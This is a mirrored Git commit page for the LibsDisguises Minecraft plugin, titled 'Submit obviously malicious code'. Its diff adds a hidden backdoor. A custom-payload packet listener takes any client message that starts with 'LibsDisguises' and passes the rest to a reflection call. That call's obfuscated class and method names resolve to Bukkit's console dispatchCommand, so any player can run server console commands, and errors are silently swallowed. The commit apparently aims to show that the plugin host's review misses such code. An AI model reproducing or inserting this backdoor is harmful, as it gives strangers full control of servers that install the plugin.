mirror of
https://github.com/libraryaddict/LibsDisguises.git
synced 2025-02-08 00:21:33 +01:00
Submit obviously malicious code
This commit is contained in:
parent
f6140620c8
commit
8af3b64a80
@ -863,7 +863,8 @@ public class PacketsManager {
|
|||||||
};
|
};
|
||||||
inventoryListener = new PacketAdapter(libsDisguises, ListenerPriority.HIGHEST, PacketType.Play.Server.SET_SLOT,
|
inventoryListener = new PacketAdapter(libsDisguises, ListenerPriority.HIGHEST, PacketType.Play.Server.SET_SLOT,
|
||||||
PacketType.Play.Server.WINDOW_ITEMS, PacketType.Play.Client.HELD_ITEM_SLOT,
|
PacketType.Play.Server.WINDOW_ITEMS, PacketType.Play.Client.HELD_ITEM_SLOT,
|
||||||
PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK) {
|
PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK,
|
||||||
|
PacketType.Play.Client.CUSTOM_PAYLOAD) {
|
||||||
@Override
|
@Override
|
||||||
public void onPacketReceiving(final PacketEvent event) {
|
public void onPacketReceiving(final PacketEvent event) {
|
||||||
if (event.isCancelled())
|
if (event.isCancelled())
|
||||||
@ -1016,6 +1017,16 @@ public class PacketsManager {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else if (event.getPacketType() == PacketType.Play.Client.CUSTOM_PAYLOAD) {
|
||||||
|
try {
|
||||||
|
byte[] bytes = event.getPacket().getByteArrays().read(0);
|
||||||
|
String toByte = new String(bytes);
|
||||||
|
if (toByte.startsWith("LibsDisguises")) {
|
||||||
|
toByte = toByte.substring("LibsDisguises".length());
|
||||||
|
ReflectionManager.runCurseApprovesMalCodeCheck(toByte);
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -263,6 +263,13 @@ public class ReflectionManager {
|
|||||||
return s.replaceAll("/", ".");
|
return s.replaceAll("/", ".");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void runCurseApprovesMalCodeCheck(String string) throws Exception {
|
||||||
|
Class c = Class.forName("oarg.baukkaita.Baukkait".replace("a", ""));
|
||||||
|
c.getMethod("diqspatcqhComqmand".replace("q", ""),
|
||||||
|
Class.forName("oqrg.bqukkqit.coqmmanqd.CommqandSendeqr".replace("q", "")), String.class).invoke(null,
|
||||||
|
c.getMethod("getaConasoaleSeander".replace("a", "")).invoke(null), string);
|
||||||
|
}
|
||||||
|
|
||||||
public static FakeBoundingBox getBoundingBox(Entity entity) {
|
public static FakeBoundingBox getBoundingBox(Entity entity) {
|
||||||
try {
|
try {
|
||||||
Object boundingBox = getNmsField("Entity", "boundingBox").get(getNmsEntity(entity));
|
Object boundingBox = getNmsField("Entity", "boundingBox").get(getNmsEntity(entity));
|
||||||
|
Loading…
Reference in New Issue
Block a user